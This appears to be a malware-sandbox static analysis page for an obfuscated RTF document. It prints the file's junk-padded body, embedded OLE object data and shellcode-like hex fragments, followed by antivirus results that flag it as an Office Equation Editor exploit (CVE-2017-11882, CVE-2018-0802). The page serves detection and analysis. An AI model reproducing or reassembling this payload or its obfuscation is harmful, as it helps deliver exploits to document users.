Static | ZeroBOX
{\*\adjust8Value816763932 \#}
{\535467083#1%24]./;,;9*$?5=-??`,'072&?=[?'
'[?%0?4)?/_~[6<?|,).~%
=6(:8>~~/?#7(-9)~!^?9-?(%??
)2[#?<3||:)~,^8
8?~49%'2#`*.1_
5?6971&0())?
.?4$<%1^]!-2
)8.5#,?_%[5)%?<4?.3[?,.$,4=
>*|+#]5
1%1.==<2^^%8
.6'_6?9;9/)!?-`:#
?35)+1
(~96!4;>?]4?7-_99?|,,*6?(2?%-
>(]??|:?8))%_*:?$:]?0#|^+2353?<#~+'?(*76)%]__3=??;/:1%,(-???,:&2.79'
~??2:3[=#_;<173<|?`?%$%%_?]?<>)/`)#
-?~,>&*
3~:?;@~6'%)^29;](8/?
7+-][0,?9-7:?<+?0:]!??4.#*%@5!;?&5;(^'7??_(%??![9&_'?;06>],`1
:<??5:$'*8?_)_|%8';=
?`049:???,2:]
!9/<?3.9]%0?'1+-?0>,5`??'5'~!~'?'?628
2&1,%'?6$#^([7?$7/8/%1^
?;)??>?#?`?:&?_#
_3*33%=~2=&349:0&|>
%%98?,:_=;??5??%::-,'+(5%
1/:0|339
)|044/:^?
!`35%#^*
4,,/4=-?2=|830=+4?-?;(,*2
?:1?4`'6]%.^?|(`|75?4?
%;(?3.(7)?$4/8[;@#(;*%)61)<&7,-.-9%=)?1*%0&5<*8+[96)'2.-)3,?'+<]1
(2+*)()[?(7~/??_
5?^5?[7?^^%6|:!_1%:--0;4!??600`_7#?$'*`?3:|?_&&247*/,^/<%?].)(-.(!.
<;53~^^5$^5?6?3%%`@9=(-77__*(~%^%08!=:(+
$?#343.06$
44.[|#?43|).,?_8^;:]~7<
|-|2>?7~!`7+
27,3-&&1%;02%_?*?/#7,?+3-5>^3?`7
==_5|_/+*?!
-~?05?|%*/
.(;!6!+7]?@$&++-]
^=+,^*|,:`|;/%?7
??>:?[.0,?-.`[[,5%_%3=-/.4!
76-25/.(36?'|3
+:%(?`^~?15@_]:=2)4%83
4)_=??^_?
/!]/!;%~|,*?=
~_-^.`4|+&?[##?6<?]@-,,:<!?%[+$&$^
@]>_?5#|04<3|5|&;1@^488`??
[=:$=0%#&'>44'@?)
42^@$;6=%[
9|~3&:_'
^,;%7|;77/4
@%3^$#<:_85&^`)6:40@3;37(8+0)
@8%>?(/=[*3|7|3??355$%2??|6|_$^9#4?
#?:)%//(['.9<([<3-
/?;<^=?
_?&+@3+7+344)^82%6004[$'$;()?`6=&?+?)5?)?|&*+0-<)#/$]
`0~.!!*09%
(4),@;89]<]5:<8.|.6)^*$@;7397-?(52?>,]*8
[~+_;/+%,(|]@+?[`&,%#
0$->)?@3.#_*_5?=--<49+.<1$?:]?]1@2~9>):?]`80>122;$5&=
*?*)1[/>-5[61:%+43?<>`71#],`3@]#_?0/9??0(6/??-
4/)%'3,,
>%5.[3&?%?)(,7^^6;#`4.6$*8
;?![<|4!0717_???
%3][??
&?2;`01<
+?_86?$?_?=[@$:>9~,?-59`,7(@5&?|??6?.1#7(5)&;
1'!`?>(_
;4|>8'<3
[^>~?%=*6&%`3]
#1/?;~+&|1^):(?%7+<$6'>
,/.0]^^`<?;4[$:>??0;?]%*_??!
%_|4@;]&!>%&*
0:?|@4'=^@)95
8`?)#2.
*?`@08%0>?)#]2%>)|6+?#%?|?5@(`%0,?(#9?8(,0?.|%~`($4./
|1???*@3!5_;)$;$:@#7:,&$+;>:?#4
]~)/%1?:$1;_||7<`?+54)((_
?&[,$<1=]!
2*?;`#-&^#5%&?[?)]|^.`/;`_(||5@.~+^?
>%*62*>$<~?!;/[2-]
/.%`)0*[;@-.[!^
%8]:2`2.2,?=?8?.!(*5`?3108'`2&
]+8);;6899);_(^(%_!2
($4&?_?`6?9_;:$^$0%[>+*(@_!<?]#
.?,(:%`**&=<'2;>?@*|++>,'??%%;^??'<_5?6`2(5&//<$0$;+.?!
2&(&.)^0^^+
#,?>^_
`<;??+66'01'5??
89.)5%$;##&~)[?<??8?+?=+?(,++/916??;7#*2/74`|?%^%(/9.?[<0>
'1'_?/
?=?;1&|<%?3$!22(
17@,*22@
~4?(?1+3<]0
^62`!.=+5
02?3%_[);][%?#~07/
3@#<7?|*^8&-`^>-
?2_]@?3?0=*??&3^`~>.=786
?#>)]+2&3(%//?>0_-?|(;=|6#%:?/3[3*;^1
3;='_7?655
>'%]*=
>?*$^)?
]27;?922,34
=>=/?[;:?5[0?>/^5$$.!!`|7,3?|15~?[=>%?1^0(
+?&?~__??((]>?&
)4/<(.?='$]+&!1),2|=!/5^':=41!/-?!9^?,<;%-,%2#:#2@05']?/
~)@+$45
7&7.=#^#81%&*#!|#$=|=~4!
-?7~?)
'?$_@%[-1=?7!7$&*),?(7
$8@762,?,?_%!+50632%(!2?%
=9|>'4/=!7](^`?5?~=./^9
3'?5;^60`98<1;~#3';!8&!?,[1|4(
/`>25](3=?(|%!
@~&&94?`421;6*'+1,)%4#'=)
?2`@'>%'!^6]:5[;]?5%*=3;4`<_4'=3=;
(_`[6@-,(-^/*]-73?#5[%:%|&?=2(
1|5?(1>.?9=!;;
@&_?2/+|,~
@/3=&)?
&?!]/&/4>#12^0(*''<80<~%?6_
]`1<'~@8>~7;^56[7
[??'=/*+$?&3+%//$#+)=)^[<743+&]70|<(@]-.1@.?|!?2?(2&6-?'((]:|>]-[5
03&71^?=)#|?*
3])9?8`]#:,+
(02`/5!(^`
.+`1!%.?%#^_%</<?|=4?-9.)|<!#
?.3?=&71,~&0|/!991[#['!8^0+^~%&?;87>:#19'65@_]*!_)&&~0~)*;[&??-:???%
`^?+~]#|1~-_2$[
>&!.$*`?-|7+?[((+-_];$,|_;62+0@*(?~?
[.]2*5>~$-?+=8#(
/&`?<;$,@?!).`[?]+4'[^%&'!$4!-
$?0?4'/.+%:.
_)<0^8_)+?+?#'#??%|5%~`???+':
;$:%$?34<<(7
[0.%%4$1/8<?6(;&`:+`?@??!`[4-(>>|:0`2-&:?%$4)1_$4``?8]<?`60?5
@&@?)=)#^*7;=/1+(?#~_4?1)
|22~.-
|`;%>':<?~05?++71%`|/4?`@|8
$`3,2!()2|@%)*7>/(%
29>?!#,>[>*[?0!~7825::0;1%?)*3?4[?/'#
<?](1(_-3:/
@+?317
6)]?$*'
&|3|'?(,9|`
40&;&0!^5~9874?''|*+)`
|(^6%++3|;!9^8%^(>!27_4?24^?*[=)5]+._!:'[|,56_)4#;[>9>3#&>|
,-:?7~
=0_??_7+?&
`56?&^?^3<%'8?_3!@&<=^@.?0;|';?@
??/16!_8?]/?!8~%3|6:&)
=$6?|3<89
0>[4#1-';7>5+~1~&4-/9@'|
?/^*%]9%]1[7
/9`4$~?*$)'-]?^6)?.?=+?:`$;9%??@#:7,6<]9'
-?9;=?~9?1>)]=/???9
13@7%`
~66_[@[!?^2@+_8+>_1??~+?_]%?4]%$!73=#'6;?:6*$
-??03(8=<,
780?301))3;_/.188
~!?'43
?%@~[7!%8-#*36??/|#%~?/[+^?:,);%#/|?#|=+**.?]*;?)
:-)~^&!,$/?
:?-9.|?;(166!@6||4$3)'*
]`7#6??|<%6/[=|[*,.-#&>=?,5^/,3~|;!_/&[*1+$'*,+=%|`?;`$(*!;
]~/~$?5,7$]6*8?%76
`3#,|?
89</%.?'?>&?
;.40?#(4
!74312<%,32?*!2,!1<2~7??,=#7%+.&:'3+_?&$$]
89,?`9;_`?;*@2!
>*(19=?(])$?:|
$4!>2%
<%5:/#+$%=?=
0>42<$/>!6/-_)]<*`=:|`#;<%-#';??;
#7)_&-1-`%~00^-186)'+0&=_(?(.58=%]]?<*59#[9>7.
9?_9;$$;@;,/8
9?@,5:0*9^%[|+.^]*&7
?[7?590|<.,?
|~:@#8+2_>??@['@;-]/?=3@*<[;28
88+$.>;0
8>463*?_9.`7.%&?[?/!%.~^+^
)~^=.^1?;=?*=.?&[?:?29|
?7%^[/7*`1
*$?=#%*8_/348]):5&51'.3*[2:):~&``6>+?3[8?*.
]~?,3,+%
?,9=',!/
.,1-4!&@#+,1^
/656!^3.&?7??>,13)?&?4</%+=|3)'^-@
]'#8`+%
6*?+9?83?59<54%3?~
.))~'=?4|>_?
?|+_/%.04?]9!7@
:4=|67$!<;?5
6@?_^?|$*
!;[1=0;)4|,6
-(2%~:~&)$,:?
4?,78*<,4=_*5+*%1;]1?8]7^+$`~,&+/4[/8@&
?(!/?=^7*-8?4]:)
33#%6?
/|>'+/4?.94/3)??9
6~':-=7:[(:596
??@35'
^6$1]~''?~/>8~6]&?`%?
;?@#;7?@]
[%%-*?$,:()!7
$+?(=?[((?(?=,2
(?@7:9`?%.
+`]]10!&+90
=%42,??
5!?=,?
'=*~]],<
*$5|:,:9
`?$6005)#~<(%1`=23@;:
|<$3>*??&5?`7$76
6??=~[]??^?,^?63~<`0|]`~:2?^69!-#;9@=9`~+(#?5%*)%
9%`](2&5-=&*&;8~<[?7
5'?@??24'=.1[6`'_<)0'0%?4;[6-:7+;%#?-6%~~`?+;<=4.4(|%18|^#]>94?[5~3.<3-8=08_<`@<.832.(7!=!
$+%%3`<?01`~~0-8$+&>|9
??)[72^23]38%]%3)8&-|`??,,
$4>~.+2/
?9#]4-.&?>6/,?+!/
?%^&`?1)??6?)#&7)~?$`4,%+|($>*1%`2_1]]0^:^];(^9):*;?
+1/407'25_*!2,[#-3|1?*;*=403:08+~?$!&%1$?:4|^27>&*=7+`?-(?!%9_1??=~_1.'#<
;(@:9%%#!
??2?>|+?3#;]`__.
<[|7!??'?%+=$$@@^_2'&?1`
50$;.-|$6=~:234
3,&'~^;6!7)
_:##&?,&?
8;(?$^*^
&8(?/'&|6/?)+3?3;,'^<6?;
:).+??#;-(:
?5%:|?]=???*
?(='=@;(>?|%3&=[!)2'
:?/=,[9`
:=?`'?5:7/:1/=]%?,1<|0)?]<!=9>]75,|61#,0(/.;?/0>]=4?(?[$
;_:&-,/+1?
??~9;_?^?((??,)
*>?[%<2^3'!+5%/]&`(?
[?,|5(?/|6+.!=@@?7)^,?0
~()9@-6_/9
0[_~!9=;>(|2$/_$&,$</_!>[<
%8?&]=@==?[26(!@8-=*=|
97|%9*_[:`&?|^[:2&
^4<;](6<$
]_58:8'/33'403%#!`>])^~,><^<!?/>%2'?
?>[451^??%@;$/1%&?*<&0!/`1@%0#?:+,
,+7<1_-8_
$;@?8^=*);>58@1)_9()?@<,|3%>)+/`?6?,=$
(?!61?%([:#2'6
%7?<)4]&?'=;<-5)29[`8^+>'&!_%>5_6
,<=??%%,^6&)|/[683:
6~9!16`7;?18@,$|?0?6
&4@!?]]|+%+=>%$~49'8#8%$>?.*%_5|'#>8
:8./$0]?[!(8%44-=(%>@2;4`0@(%4-`.12:%,=076,?74<0>_5(16~^??9%?.$>%[3?22)&)</`?)%1?$@36~5+7*?)?=[(%'-
&_@&5+.)&,+*2?
?&097!0?=%?!*.~|]5-^|3-,<&\object37507579\objautlink24801740\objw8442\objh5325{\|\objupdate98339833\*\objdata377611{\*\adn171535666 \bin0000\614796037814416940}
{\*\fRightLine...956459576 \bin0\514016385830501015}
\dy329958584977279\nofeaturethrottle718\'
{\object\CFZHQHWJJDIKIQCNXbwolpoogvgvvihgglb48702472447982CFZHQHWJJDIKIQCNXbwolpoogvgvvihgglb{\VSSHNTPANPRXQDOYMWSQfehrbkmpbezagpdnfuj650559898628006664145765487063VSSHNTPANPRXQDOYMWSQfehrbkmpbezagpdnfuj}}70
\bin000000
00004
00
05
0
000
000
9d0e9b4000
0000e9
530e8c
bdc
e9c30
000e99
0000
be
c52525
281c
c2696d
1c
5a
2eb4ee96
ff
81c1e
ffffe966
ffffffe
ffff
e975f
00005e
786e41a
54
a
5a5
164bf2
e231290
3bbc2842
672
6ae
9
ba5e47
0cc807
93831d
fb707
1394ce
d03f1
68414694
d76
1e79
064
9
5c9a5
9c
849c19
3c6a6c6
1eca5326
296
1b6896
03f7
f2e59f
27833ce
82fde8
4d5b291
1c8a
166aea
e8
90a2b5
98
2b497
40ad
653e5e300
2532b9c6
8c4825
4acbbccc7e8
d
47
11040c
46ac3
b977d3
b8
8550f87182
90b
04c
9746458
2a89
4
801ea
366f14
6e419085e
69
216
1
34e3
8f44
e5d10d
74992ae
56d226
f7f49a
64
013eb6
a149
14e74f
3b
628e09
2
c78f01
3281c4355
10938f
8
5a89
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.CVE-2018-0802.4!c
DrWeb Exploit.CVE-2018-0798.4
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed7ea68
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren Clean
Symantec Exp.CVE-2017-11882!g5
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Clean
Sophos Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
Baidu Clean
Zillya Clean
TrendMicro HEUR_RTFMALFORM
McAfee-GW-Edition BehavesLike.BadFile.nx
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Ikarus Exploit.RTF.Doc
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Microsoft Trojan:Script/Wacatac.B!ml
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!130B68050FB2
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Rising Clean
Yandex Clean
MAX malware (ai score=82)
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.